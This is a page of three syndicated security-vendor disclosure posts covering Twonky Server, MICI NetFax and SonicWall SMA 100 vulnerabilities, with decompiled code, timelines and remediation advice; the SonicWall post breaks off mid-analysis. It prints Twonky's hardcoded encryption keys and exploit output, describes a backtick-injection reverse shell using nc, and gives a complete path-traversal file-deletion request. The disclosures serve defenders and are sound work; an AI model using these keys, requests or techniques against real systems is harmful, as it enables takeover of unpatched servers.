Tag Archives: Vulnerability Disclosure

CVE-2025-13315, CVE-2025-13316: Critical Twonky Server Authentication Bypass (NOT FIXED)

Post Syndicated from Ryan Emmons original https://www.rapid7.com/blog/post/cve-2025-13315-cve-2025-13316-critical-twonky-server-authentication-bypass-not-fixed

Overview

Twonky Server version 8.5.2 is susceptible to two vulnerabilities that facilitate administrator authentication bypass on Linux and Windows. An unauthenticated attacker can improperly access a privileged web API endpoint to leak application logs, which contain encrypted administrator credentials (CVE-2025-13315). As a result of the use of hardcoded encryption keys, the attacker can then decrypt these credentials and login as an administrator to Twonky Server (CVE-2025-13316). Exploitation results in the unauthenticated attacker gaining plain text administrator credentials, full administrator access to the Twonky Server instance, and control of all stored media files. These vulnerabilities are tracked as CVE-2025-13315 and CVE-2025-13316.

These vulnerabilities have not been patched. Despite making contact with the vendor, and the vendor confirming receipt of our technical disclosure document, the vendor ceased communications after disclosure. They stated that a patch wouldn’t be possible, even with a disclosure timeline extension, and subsequent follow-up attempts on our part were unsuccessful. As such, the vulnerable version 8.5.2 is the latest available.

Product description

Twonky Server is media server software marketed to both organizations and individuals. It’s generally designed to run on embedded systems, such as NAS devices and routers, for media organization, access, and streaming. At the time of publication, Shodan returns approximately 850 Twonky Server services exposed to the public internet.

Credit

These issues were discovered and reported to Lynx Technology by Ryan Emmons, Staff Security Researcher at Rapid7. The vulnerabilities are being disclosed in accordance with Rapid7’s vulnerability disclosure policy. This work is based on the previous Twonky Server research published by Sven Krewitt.

Vulnerability details

CVE

Description

CVSS

CVE-2025-13315

An unauthenticated remote attacker can bypass web service API authentication controls to leak a log file and read the administrator’s username and encrypted password.

9.3 (Critical)

CVE-2025-13316

The application uses hardcoded encryption keys across installations. An attacker with an encrypted administrator password value can decrypt it into plain text using these hardcoded keys.

8.2 (High)

The testing target was Twonky Server 8.5.2, the latest version available at the time of research. Rapid7 identified two security vulnerabilities as part of this research project, which are outlined in the table above. These vulnerabilities were tested against Twonky Server installed on two different operating systems: Ubuntu Linux 22.04.1 and Windows Server 2022. When exploited, these vulnerabilities effectively serve as a patch bypass for the security mitigations introduced in response to the two vulnerabilities disclosed by Risk Based Security in 2021.

CVE-2025-13315

In 2021, the security firm Risk Based Security disclosed an improper API access vulnerability in Twonky Server, for which no CVE is assigned. Their approach was to leak the administrator’s username and obfuscated password via requests to /rpc/get_option?accessuser and /rpc/get_option?accesspwd, which previously did not enforce authentication checks. In the patch, authentication checks were implemented for the /rpc web API. However, some administrator RPC API endpoints, such as log_getfile, are still accessible without authentication via alternative routing.

00461ddf                                if (!check_path(&arg1[2], "/rpc/info_status"))
00461ddf                                {
00461fc8                                    if (check_path(&arg1[2], "/rpc/stop"))
00461fcf                                        goto label_461de5;
00461fcf                                    
00461fe4                                    if (check_path(&arg1[2], "/rpc/stream_active"))
00461fe4                                        goto label_461de5;
00461fe4                                    
00461ff9                                    if (check_path(&arg1[2], "/rpc/byebye"))
00461ff9                                        goto label_461de5;
00461ff9                                    
0046200e                                    if (check_path(&arg1[2], "/rpc/wakeup"))
0046200e                                        goto label_461de5;
0046200e                                    
00462023                                    if (check_path(&arg1[2], "/rpc/get_option?language"))
00462023                                        goto label_461de5;
00462023                                    
00462043                                    if (check_path(&arg1[2], "/rpc/get_option?multiusersupportenabled")
00462043                                            || !(var_480_1 & 1))
[..SNIP..]
004621af                                            *(uint64_t*)((char*)arg1 + 0x828) = "text/plain; charset=utf-8";
004621af                                            
004621c9                                            if (check_path(&arg1[2], "/rpc/log_getfile"))
004621c9                                            {
004622bf                                                char* rax_59 = getlogfile();

The decompiled binary contains the string “/nmc/rpc/”, which is referenced in various functions containing request routing logic within the codebase.

Twonky1.png

Jumping right into dynamic testing, we observed that some RPC requests with the /nmc/rpc prefix succeeded without authentication. 

An example is depicted below, calling the log_getfile web API endpoint with the typical /rpc prefix without authenticating.

Twonky2.png

Requesting the same API endpoint with the /nmc/rpc prefix instead, the log file is returned without authentication.

Twonky3.png

During startup, the application will log the accesspwd encrypted administrator password.

Twonky4.png

It’s also possible to call other authenticated APIs, such as the one to shut down the server, without authentication by leveraging the same /nmc/rpc prefix. When paired with CVE-2025-13316, an unauthenticated attacker can leak the administrator’s username and encrypted password, then decrypt the password to bypass authentication and take over the media server.

CVE-2025-13316

In 2021, the security firm Risk Based Security disclosed a weak password obfuscation vulnerability in Twonky Server, for which no CVE is assigned. It appears that, as a remediation strategy, the Blowfish encryption algorithm was introduced in subsequent versions of Twonky Server. The twonkyserver compiled executable defines twelve encryption keys.

008c7fe0  char const (* blowfish_constants)[0x11] = data_634d38 {"E8ctd4jZwMbaV587"}
008c7fe8  char const (* data_8c7fe8)[0x11] = data_634d49 {"TGFWfWuW3cw28trN"}
008c7ff0  char const (* data_8c7ff0)[0x11] = data_634d5a {"pgqYY2g9atVpTzjY"}
008c7ff8  char const (* data_8c7ff8)[0x11] = data_634d6b {"KX7q4gmQvWtA8878"}
008c8000  char const (* data_8c8000)[0x11] = data_634d7c {"VJjh7ujyT8R5bR39"}
008c8008  char const (* data_8c8008)[0x11] = data_634d8d {"ZMWkaLp9bKyV6tXv"}
008c8010  char const (* data_8c8010)[0x11] = data_634d9e {"KMLvvq6my7uKkpxf"}
008c8018  char const (* data_8c8018)[0x11] = data_634daf {"jwEkNvuwYCjsDzf5"}
008c8020  char const (* data_8c8020)[0x11] = data_634dc0 {"FukE5DhdsbCjuKay"}
008c8028  char const (* data_8c8028)[0x11] = data_634dd1 {"SpKNj6qYQGjuGMdd"}
008c8030  char const (* data_8c8030)[0x11] = data_634de2 {"qLyXuAHPTF2cPGWj"}
008c8038  char const (* data_8c8038)[0x11] = data_634df3 {"rKz7NBhM3vYg85mg"}

When an administrator password is set, the application uses one of these hardcoded keys as a Blowfish encryption key for the administrator password. After performing the encryption process, the encrypted password value is embedded in a string formatted as ||{HEX_INDEX}{HEX_CIPHERTEXT} and subsequently written to the configuration file.

00581260    int32_t enc_passwd(char* arg1, char* arg2, int32_t arg3)
00581260    {
00581260        int32_t result;
00581268        result = !arg3;
00581268        
00581276        if (!(!arg1 | result) && arg2)
00581276        {
00581289            uint64_t maxlen = (uint64_t)arg3;
0058129d            memset(arg2, 0, maxlen);
005812a5            result = strlen(arg1);
005812a5            
005812ac            if (result)
005812ac            {
005812ae                char rax = *(uint8_t*)arg1;
005812ae                
005812b4                // Checking if password is already encrypted(legacy)
005812b4                if (rax == ':')
005812b4                {
00581374                    if (arg1[1] == ':')
0058138c                        return snprintf(arg2, maxlen, "%s", arg1);
005812b4                }
005812b4                else if (rax == '|' && arg1[1] == '|')
0058138c                    return snprintf(arg2, maxlen, "%s", arg1);
0058138c                
005812d1                srand(j_sub_597230());  // seed?
005812fc                uint64_t rdx_4 = (uint64_t)(sub_464c10() % 0xc);
005812fe                char* r14_1 = (&blowfish_constants)[rdx_4];
00581316                void var_1088;
00581316                result = maybe_BF_set_key(&var_1088, r14_1, strlen(r14_1));
00581316                
0058131d                if (!result)
0058131d                {
0058133e                    void* rax_9 = maybe_BF_encrypt(&var_1088, arg1);
0058135b                    // String to write to config file in format ||{INDEX}{CIPHERTEXT}
0058135b                    snprintf(arg2, maxlen, "||%X%s", (uint64_t)rdx_4, rax_9);

Since these keys are static across Twonky Server installations and versions, an attacker with knowledge of the encrypted administrator password can trivially decrypt it to plain text and authenticate to Twonky Server as an administrator. The output of a Metasploit module exploit that pairs CVE-2025-13315 and CVE-2025-13316 for authentication bypass is depicted below.

msf auxiliary(gather/twonky_authbypass_logleak) > run
[*] Running module against 192.168.181.129
[*] Confirming the target is vulnerable
[+] The target is Twonky Server v8.5.2
[*] Attempting to leak encrypted password
[+] The target returned the encrypted password and key index: 14ee76270058c6e3c9f8cecaaebed4fc5206a1d2066d4f78, 7
[*] Decrypting password using key: jwEkNvuwYCjsDzf5
[+] Credentials decrypted: USER=admin PASS=R7Password123!!!
[*] Auxiliary module execution completed

Mitigation guidance

In lieu of any patches or mitigation guidance from the vendor, affected organizations and individuals are advised to restrict Twonky Server traffic to only trusted IPs. Additionally, any administrator credentials configured in Twonky Server should be assumed to be compromised.

Rapid7 customers

Exposure Command, InsightVM and Nexpose customers will be able to assess their exposure to CVE-2025-13315 and CVE-2025-13316 with unauthenticated vulnerability checks expected to be available in today’s (November 19) content release.

Disclosure timeline

August 5, 2025: Rapid7 reaches out to a Lynx Technology contact email address.

August 6, 2025: A Lynx Technology representative replies and confirms that the address is the proper path to disclose vulnerabilities.

August 12, 2025: Rapid7 shares the disclosure document with technical details and a proof-of-concept exploit.

August 18, 2025: Lynx Technology confirms that the document has been received and shared with management.

September 3, 2025: Rapid7 follows up and requests a ~60-day disclosure date of October 13.

September 5, 2025: Lynx Technology replies and acknowledges the 60-day timeline as standard practice, but states that resource constraints prevent a patch from being issued on that timeline.

September 9, 2025: Rapid7 replies and offers to accommodate beyond the standard 60-day timeline with a ~90-day timeline, the week of November 17, 2025.

September 30, 2025: Rapid7 follows up in the same ticket thread and reiterates the offer to extend to a 90-day timeline.

October 28, 2025: Rapid7 opens a new ticket and reiterates the offer to extend the timeline.

November 13, 2025: Rapid7 follows up and reiterates the intent to publish materials in November. 

November 14, 2025: Rapid7 follows up and reiterates the upcoming publication, with no response.

November 19, 2025: This disclosure.

CVE-2025-48045, CVE-2025-48046, CVE-2025-48047: MICI NetFax Server Product Vulnerabilities (NOT FIXED)

Post Syndicated from Anna Katarina Quinn original https://blog.rapid7.com/2025/05/29/cve-2025-48045-cve-2025-48046-cve-2025-48047-mici-netfax-server-product-vulnerabilities-not-fixed/

CVE-2025-48045, CVE-2025-48046, CVE-2025-48047: MICI NetFax Server Product Vulnerabilities (NOT FIXED)

In the course of a penetration testing engagement, Rapid7 discovered three vulnerabilities in MICI Network Co., Ltd’s NetFax server versions < 3.0.1.0. These issues allowed for an authenticated attack chain resulting in Remote Code Execution (RCE) against the device as the root user. While authentication is necessary for exploitation, default credentials for the application are automatically configured to be provided in cleartext through responses sent to the client, allowing for automated exploitation against vulnerable hosts.

Rapid7 enlisted the help of TWCERT to contact the vendor as an intermediary. On Friday, May 2, 2025, Rapid7 received a notification from TWCERT stating the following: “…they (MICI) have responded that they will not address the vulnerability in this product.”

The first vulnerability, a default credential disclosure, started with HTTP GET requests made during initial access to the server which displayed the default System Administrator credentials in cleartext. The display of these credentials appeared to be present due to implemented functionality for support of the ‘OneIn’ client.

Using the credentials, Rapid7 conducted a review of system configuration settings. A lack of sufficient sanitization was found within multiple parameters in regard to the ‘`’ character. This lack of sanitization could be used to store a system command such as ‘whoami’ within the configuration file.

Rapid7 discovered a function that conducted various system tests to confirm valid configuration such as ‘ping’ commands. This function ingested the data from the stored configuration which led to confirmed Remote Code Execution. By using the ‘mkfifo’ and ‘nc’ binaries present within the system, a reverse shell was obtained as the root user.

In addition, within the system it was noted that while the SMTP password displayed within the user interface had been properly redacted, the request which provided the system configuration contained the password in cleartext.

Product Description

MICI’s Network Fax (NetFax) server is a product suite to facilitate receipt of fax messages to user mailboxes through email traffic. The vendor, MICI, operates from Taiwan. During analysis of internet connected devices, Rapid7 noted 34 systems exposed to the internet. Rapid7 notes that the number of devices on internal networks would likely be much higher.

During review, Rapid7 noted systems running on the same ‘wfaxd’ server architecture used in the application with the name ‘CoFax Server’. A majority of those systems were found to be present within Iran. These devices did not necessarily appear to possess the same vulnerabilities from a passive review.

Credit

The vulnerabilities were discovered by Anna Quinn. It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation

The following vulnerabilities were identified during testing:

  • CVE-2025-48045: Disclosed Default Credentials
  • CVE-2025-48046: Disclosure of Stored Passwords
  • CVE-2025-48047: Command Injection

CVE-2025-48045 – Disclosed Default Credentials – Moderate (6.6)

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U

CWE-201: Insertion of Sensitive Information Into Sent Data

Upon accessing the web application on port 80 and intermittently afterwards, a GET request is made to ‘/client.php’ which disclosed default administrative user credentials to clients by providing information contained within an automatically configured setup file:

CVE-2025-48045, CVE-2025-48046, CVE-2025-48047: MICI NetFax Server Product Vulnerabilities (NOT FIXED)

Remediation: Do not expose user credentials to the client, instead process any occurrences of configuration calls server-side. Present only the necessary information to the client such as the application name and version. Require users to reset the default administrator password upon initial access.

CVE-2025-48046 – Disclosure of Stored Passwords – Moderate (5.3)

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

CWE-260: Password in Configuration File

Using the credentials, the application was reviewed for security. During this process, the SMTP password configured within the application was found to be properly redacted:

CVE-2025-48045, CVE-2025-48046, CVE-2025-48047: MICI NetFax Server Product Vulnerabilities (NOT FIXED)

The configuration file, accessed through a GET request to ‘/config.php’ however, provided the cleartext password to the user:

CVE-2025-48045, CVE-2025-48046, CVE-2025-48047: MICI NetFax Server Product Vulnerabilities (NOT FIXED)

Remediation: Do not expose user credentials to the client. Redact sensitive information before displaying it to the client.

CVE-2025-48047 – Command Injection – Critical (9.4)

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

A server test function which executed commands such as ‘ping’ was located at the /test.php endpoint. This function appeared to ingest data sent to the configuration file such as ‘ETHNAMESERVER’:

CVE-2025-48045, CVE-2025-48046, CVE-2025-48047: MICI NetFax Server Product Vulnerabilities (NOT FIXED)

The configuration file was changed to include various commands such as a reverse shell using the ‘nc’ binary and ‘whoami’:

CVE-2025-48045, CVE-2025-48046, CVE-2025-48047: MICI NetFax Server Product Vulnerabilities (NOT FIXED)

The system test was then run, confirming the ‘`’ characters had not been sanitized. This led to remote code execution via command injection. A reverse shell was also obtained through these methods after the existence of the ‘mkfifo’ and ‘nc’ binaries were confirmed to be present on the machine:

CVE-2025-48045, CVE-2025-48046, CVE-2025-48047: MICI NetFax Server Product Vulnerabilities (NOT FIXED)

Remediation: Properly sanitize all input before use in system commands. While many characters were properly redacted, the ‘`’ character was not. Do server-side validation of configuration settings to confirm all parameters contain expected content before accepting the changes. Fields containing IP addresses should be processed to ensure they contain only valid IP addresses.

A working Metasploit module for this attack path for both a fully unauthenticated Remote Code Execution exploit against servers using default credentials and an authenticated RCE exploitation has been created and will be released in upcoming updates. This attack can be performed by any malicious actor with network access to the device.

CVE-2025-48045, CVE-2025-48046, CVE-2025-48047: MICI NetFax Server Product Vulnerabilities (NOT FIXED)

Impact

The vulnerabilities have a range of impacts depending on configuration. Disclosure of default credentials by the application poses a risk to system administrators who do not properly change administrative passwords during setup. Rapid7 determined the application did not appear to either enforce or request a changing of default credentials upon initial login.

Failure to obscure passwords to connect to external services could result in compromise of network service accounts and potential impacts to further resources in the environment.

The command injection vulnerabilities result in administrative access to the underlying system, impacting the confidentiality, availability, and integrity of the server and application both.

Vendor Statement

After multiple attempts to contact the vendor without response, Rapid7 elicited the assistance of TWCERT to facilitate communications with the vendor. After multiple correspondences, the vendor indicated the following, as per TWCERT:

“…they (MICI) have responded that they will not address the vulnerability in this product. They advised users not to expose the product to external networks. They stated that they will no longer respond to inquiries regarding this product.”

Remediation

Vendor has indicated that the vulnerabilities will not be patched and advised users that servers should not be exposed to the internet. However, as the vulnerabilities could also be exploited from an internal network perspective and result in administrative access to the underlying server, Rapid7 additionally recommends only exposing the server to strictly necessary internal networks after reviewing the risk of the device’s presence to the environment. Rapid7 recommends changing default device credentials and reviewing risks related to account credentials provided to the system for service integration purposes.

Rapid7 Customers

InsightVM and Nexpose customers should be able to assess their exposure to CVE-2025-48045, CVE-2025-48046 and CVE-2025-48047 with unauthenticated checks available in the May 28, 2025 content release.

Disclosure Timeline

  • Jan, 2025: Issue discovered by Anna Quinn
  • Thursday, Jan 30, 2025: Initial disclosure to vendor via contact form
  • Tuesday, Feb 25, 2025: Additional outreach to vendor via contact form
  • Tuesday, March 18, 2025: Rapid7 contacts TWCERT to determine proper channels for vendor engagement
  • Thursday, March 20, 2025: TWCERT puts Rapid7 in touch with vendor
  • Monday, March 24, 2025: Rapid7 follows up with vendor
  • Wednesday, March 26, 2025: Rapid7 follows up with vendor
  • Monday, March 31, 2025: Rapid7 requests additional assistance from TWCERT.
  • Tuesday, April 1, 2025: TWCERT requests further information
  • Wednesday, April 2, 2025: TWCERT confirmed receipt of vulnerability disclosure information by vendor and indicated vendor contact would occur after internal review.
  • Tuesday, April 8, 2025: Rapid7 follows up with vendor and TWCERT, requests an update by April 15, 2025.
  • Tuesday, April 22, 2025: Rapid7 requests an update
  • Friday, April 25, 2025: TWCERT relayed message from vendor requesting testing be done on newer versions of application. Rapid7 requests additional version(s) of the affected product from vendor.
  • Tuesday, April 29, 2025: TWCERT provides a version of NetFax Client for testing, however the vulnerabilities exist in NetFax Server, and as such the client could not be used for validation purposes. Rapid7 informs TWCERT, requests server application versions from vendor.
  • Friday, May 2, 2025: TWCERT provides a message from vendor indicating the vendor will not address vulnerabilities. Vendor indicates customers should ensure devices are not exposed externally. Vendor states they will not respond to further inquiries on the matter.
  • Thursday, May 29, 2025: This disclosure.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

Post Syndicated from Ryan Emmons original https://blog.rapid7.com/2025/05/07/multiple-vulnerabilities-in-sonicwall-sma-100-series-2025/

Overview

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

In April of 2025, Rapid7 discovered and disclosed three new vulnerabilities affecting SonicWall Secure Mobile Access (“SMA”) 100 series appliances (SMA 200, 210, 400, 410, 500v). These vulnerabilities are tracked as CVE-2025-32819, CVE-2025-32820, and CVE-2025-32821. An attacker with access to an SMA SSLVPN user account can chain these vulnerabilities to make a sensitive system directory writable, elevate their privileges to SMA administrator, and write an executable file to a system directory. This chain results in root-level remote code execution. These vulnerabilities have been fixed in version 10.2.1.15-81sv.

Rapid7 would like to thank the SonicWall security team for quickly responding to our disclosure and going above and beyond over a holiday weekend to get a patch out.

Vulnerability table

CVE Description Affected Service CVSS
CVE-2025-32819 An authenticated attacker with user privileges can delete any file on the SMA appliance as root to perform privilege escalation to the administrator account. Based on known (private) IOCs and Rapid7 incident response investigations, we believe this vulnerability may have been used in the wild. HTTP (Port 80), HTTPS (Port 443) 8.8 (High)
CVE-2025-32820 An authenticated attacker with user privileges can inject a path traversal sequence to make any directory on the SMA appliance writable by all users, including the nobody user. Any existing file on the system can also be overwritten with junk contents as root. HTTP (Port 80), HTTPS (Port 443) 8.3 (High)
CVE-2025-32821 An authenticated attacker with administrator privileges can inject shell command arguments to upload a fully controlled file anywhere that the nobody user can write to. HTTP (Port 80), HTTPS (Port 443) 6.7 (Medium)

Credit

These vulnerabilities were discovered by Ryan Emmons, Staff Security Researcher at Rapid7, and are being disclosed in accordance with Rapid7’s coordinated vulnerability disclosure policy.

Remediation

To remediate CVE-2025-32819, CVE-2025-32820, and CVE-2025-32821, SonicWall SMA administrators should update to the latest version, 10.2.1.15-81sv. For additional information, please see SonicWall’s advisory.

Rapid7 customers

InsightVM and Nexpose customers will be able to assess their exposure to CVE-2025-32819, CVE-2025-32820, and CVE-2025-32821 with an unauthenticated vulnerability check expected to be available in today’s (May 7) content release.

Analysis

The appliance tested was ”SMA 500v for ESXi” running version 10.2.1.14-75sv, the latest available at the time of research.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

CVE-2025-32819

An attacker with access to a low-privilege SMA user account can delete any file as root. This vulnerability appears to be a patch bypass for a previously reported arbitrary file delete vulnerability. That original vulnerability was disclosed by NCC Group in 2021, and a patch was previously released in the 10.2.0.9-41sv and 10.2.1.3-27sv patch cycle. Rapid7 is not aware of any specific CVE assigned to this original vulnerability; the NCC Group blog post states that a CVE was not shared with them, and we didn’t see a clear 1:1 match on the SonicWall PSIRT page.

Based on our testing, the unauthenticated arbitrary file delete vulnerability disclosed by NCC Group was patched by adding an authentication check. However, that authentication check is satisfied with a valid low-privilege session cookie, so exploitation is still viable. An attacker can exploit this vulnerability with low privileges to elevate to SMA administrator. This can be chained with CVE-2025-32820 and CVE-2025-32821 to establish root-level remote code execution on the SMA research target running 10.2.1.14-75sv. Note: Based on known (private) IOCs and Rapid7 incident response investigations, we believe this vulnerability may have been used in the wild.

In /usr/src/EasyAccess/www/conf/httpd.conf, we observe that the /fileshare/sonicfiles web path is mapped to the sonicfiles.py Flask application.

WSGIScriptAliasMatch ^/fileshare/sonicfiles /usr/src/EasyAccess/www/python/sonicfiles/sonicfiles.py
WSGIScriptAliasMatch ^/report    /usr/src/EasyAccess/www/python/sonicfiles/report.py
WSGIScriptAliasMatch ^/threat/__api__/v1 /usr/src/EasyAccess/www/python/authentication_api/threat_api.py

Within sonicfiles.py, we find the function main_handler, which is a main function that enforces authentication checks and dispatches various “RacNumber” SMB operations. At [A], we see an authorization check being performed before the primary API functionality is reachable.

@application.route('/sonicfiles', methods=['GET', 'POST']) 
@application.route('/', methods=['GET', 'POST'])
def main_handler():

    #Get the required config if its not set
    #application.get_config()
    prog = 'fileexplorer'

    '''Alternate method for CSRF

    referrer = request.referrer
    parsed_referrer = urlparse(request.referrer)
    if((referrer is None) or (parsed_referrer.hostname != request.host)):
        print("Referrer something is wrong")
        return HttpErrorCode["NOT_PERMITTED_AUTH"]
    '''

    #set the log level to Debug when don't get the setting from SMA settings.
    application.set_log_level(logging.DEBUG)

    authResult = application.authorizationCheck() # [A]
    if authResult:
        response = make_response(str(HttpErrorCode["NOT_PERMITTED_AUTH"][0])) 
        response.headers['content-type'] = 'text/plain'
        response.headers['Cache-Control'] = 'no-cache'
        logger.info("::SONICFILES:: Authorization check failed {}".format(authResult))
        return response, HttpErrorCode["NOT_PERMITTED_AUTH"][1]

    racNum = request.args.get('RacNumber', RacNumber.RAC_INVALID, int)
    if racNum is RacNumber.RAC_INVALID:
        return 'Invalid invocation', 500 

    smbshare = FileShare(application)
[..SNIP..]

Let’s investigate what application.authorizationCheck is. It’s defined in pythonApi.py:

 def authorizationCheck(self):
        return self.api.authorizationCheck(self.get_connection_id(), request.method, request.args.get('swcctn'))

The self.get_connection_id function is depicted below. It fetches the swap cookie ([B]), which is the primary session cookie, then decodes it as base64 ([C]) and returns it.

  @staticmethod
    def get_connection_id():
        if (SONICFILES_UNIT_TEST_MODE):
            #connection = request.args.get('sessionid', "", string)
            sessionid = request.args.get('sessionid')
            connection = base64.b64decode(sessionid).decode('utf-8')
            print(connection)
            return connection

        swap = request.cookies.get("swap") # [B]
        if swap == None:
            return ""

        connection = base64.b64decode(swap).decode('utf-8') # [C]
        mask_connection = connection.replace(connection[4:-4], (len(connection)-8) * '*') # abcd***...***ABCD
        logger.debug("::SONICFILES:: session {}".format(mask_connection))
        return connection

Since the primary authorizationCheck function is a SWIG function implemented in native code, the decompiled cleaned up C for that is depicted below. It calls sessionGetAndRefresh ([D]), which queries the web application’s SQLite primary database on disk, to determine whether the provided session is an authenticated one. If it’s valid (and if the CSRF token matches when the ‘POST’ method is used), it returns a success code ([E]).

0001b2e0    int32_t authorizationCheck(int32_t sessionId, char* method, int32_t swcctn)

0001b2e0    {
0001b2e0        int32_t currentSessionId = sessionId;
0001b315        int32_t sessionHandle = sessionGetAndRefresh(dbhGet(0), currentSessionId); // [D]
0001b31a        bool match = !sessionHandle;
0001b31a        
0001b31e        if (!sessionHandle)
0001b37b            return -1;
0001b37b        
0001b320        char* methodPointer = method;
0001b324        int32_t compareChars = 5;
0001b329        char const* const compareStr = "POST";
0001b329        
0001b32f        while (compareChars)
0001b32f        {
0001b32f            char mChar = *(uint8_t*)methodPointer;
0001b32f            char const compareChar = *(uint8_t*)compareStr;
0001b32f            match = mChar == compareChar;
0001b32f            methodPointer = &methodPointer[1];
0001b32f            compareStr = &compareStr[1];
0001b32f            compareChars -= 1;
0001b32f            
0001b32f            if (mChar != compareChar)
0001b32f                break;
0001b32f        }
0001b32f        
0001b331        if (match)
0001b331        {
0001b35f            currentSessionId = swcctn;
0001b35f            
0001b36a            if (doCSRFCheckForCgi(sessionHandle, currentSessionId))
0001b36a            {
0001b36f                sessionFree(sessionHandle);
0001b374                return -2;
0001b36a            }
0001b331        }
0001b331        
0001b336        sessionFree(sessionHandle, currentSessionId);
0001b33b        return 0; // [E]
0001b2e0    }

That establishes that any low-privileged user can call RacNumber functions via the sonicfiles API. In 2021, NCC Group outlined how the RAC_DOWNLOAD_TAR function (RacNumber=44) could be exploited with a path traversal for privileged arbitrary file deletion. That download_tar code does not appear to have been modified from what the NCC Group blog post shows, since the “/tmp” directory string is still unsafely concatenated with tainted web parameters ([F]); only the authentication check outlined above in main_handler appears to have been implemented as a fix.

  def download_tar(self, partialCmd):
        arg1 = self.get_decoded_url('Arg1')
        foldername = request.args.get('Arg2')
        timestamp = request.args.get('timestamp')
        list_file_path = None
            
        cmd_list = partialCmd.split()
        cmd_list.append(arg1)
        cmd_list.append(foldername)
        cmd_list.append("stdout")
        #appending verbose

        logger.debug("{} download_tar:: cmd_list: {}, timestamp {}".format(SONICFILES, cmd_list, timestamp))

        if timestamp is not None:
            swcctn = request.args.get('swcctn')
            list_file_path = '/tmp/' + swcctn + '_' + timestamp # [F]
            cmd_list.append(list_file_path)

        self.get_cred(cmd_list,arg1)#Appends cred to the list
        current_time = datetime.datetime.now().time()
        logger.debug("{} Download Start time : {}".format(SONICFILES, current_time.isoformat()))
		
        cmd_bytes_list = str_list_to_uft8_bytes_list(cmd_list)
        downloadsubprocess = subprocess.Popen(cmd_bytes_list,stdout=subprocess.PIPE,shell=False)
[..SNIP..]

Exploitation

We’ll start by creating a user named lowpriv with low user-level SMA privileges. This user account should not have access to any administrative functionality, and it will act as our victim account for exploitation. We’ll login to the SMA web service listening on port 443 and establish that we have access to this standard user account.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

We’ll create two attacker-owned files as root to demonstrate the privileged arbitrary file delete.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

Next, we’ll grab our lowpriv user’s session cookies and use them to perform the malicious file delete web request. The server will return a generic 500 code error response.

GET /fileshare/sonicfiles/?User=admin&Pass=null&Domn=&RacNumber=44&Arg1=smb://192.168.200.1/test/&Arg2=null&swcctn=../usr/src/EasyAccess/www/python/authentication&timestamp=api/../../../../../../tmp/rootfile HTTP/1.1
Host: 192.168.181.150
Cookie: swap="MHo5dTZvQkNRcXhVWDVpMFo1MktCRGZmYkZjSE9CZm1FUU9QOWdUek5BZz0="; swcctn=JKUKl0KiKYX5Kf4nY7700B4lb5N7M1PD
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

With our console root shell, we can see that the root-owned /tmp/rootfile file has been deleted.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

This can be leveraged to delete the /etc/EasyAccess/var/conf/persist.db file, which is the primary web server SQLite database. When that happens, the system will reboot and reset the SMA administrator password to “password”. Based on known (private) IOCs and Rapid7 incident response investigations, we believe that this specific technique may have been used in the wild.

CVE-2025-32820

An authenticated attacker with user-level low privileges can inject a path traversal sequence to an arbitrary directory on the SMA appliance to make it world-writable. This can be chained with CVE-2025-32819 and CVE-2025-32821 to establish root-level remote code execution on the SMA research target running 10.2.1.14-75sv. Additionally, if a file path is provided, any existing file on the system can be overwritten with junk contents as root, creating a persistent denial of service condition.

Let’s investigate this now. In authentication_api/client/__init__.py, we observe authentication checks implemented in before_request ([G]).

@application.before_request
def before_request():
    logLevl = Logger.getLogLevel()
    application.logger.setLevel(logLevl)
    current_app.logger.info("{} {}".format(request.method, request.script_root + request.path))
    Authorize.authorization_check(request, current_app.logger, False) # [G]

This authorization_check function is similar to the one we previously looked at. However, this function is implemented in Python, within smaauthorize.py, instead of in a C shared library. Below, we can see this logic. The third parameter is called requireAdmin, and it defaults to True ([H]). In this case, though, the call within before_request explicitly states that low-privilege users should be allowed via the False parameter input. The authorization code queries the primary web SQLite database to determine whether the user’s swap session cookie exists in the database ([I]). If so, the request will succeed.

  @staticmethod
    def authorization_check(request, logger, requireAdmin = True): # [H]
        if (API_UNIT_TEST_MODE):
            return

        sessionId = request.cookies.get(AP_COOKIE_NAME)

        if (sessionId == None):
            logger.info("Login failed. No valid sessionId from cookie.")
            raise Unauthorized(AUTHORIZE_FAIL)

        temp_db_session = Session()
        sessionId_decoded = base64.b64decode(sessionId).decode()
        sslvpn_session = temp_db_session.query(SmaSession).filter(SmaSession.sessionId == sessionId_decoded).first() # [I]
        if (sslvpn_session == None):
            temp_db_session.close()
            logger.info("Login failed. No valid session. sessionId = {}, sessionId_decoded = {}".format(sessionId, sessionId_decoded))
            raise Unauthorized(AUTHORIZE_FAIL)

        # touch session
        sslvpn_session.activityTimestamp = int(time.time())
        temp_db_session.commit()
        temp_db_session.refresh(sslvpn_session)
        temp_db_session.close()

        # authorization check
        Authorize.sessionStatusCheck(logger, sslvpn_session)
        Authorize.userTypeCheck(logger, requireAdmin, sslvpn_session)
        Authorize.CSRFTokenCheck(logger, requireAdmin, sslvpn_session)

There are a few different API endpoints that can be reached as our low-privilege user. That list is depicted below:

clientApi.add_resource(NxDisconnectInfoResource, '/nxdisconnectinformation')
clientApi.add_resource(NxPostConnectionScriptResource, '/nxpostconnectionscript')
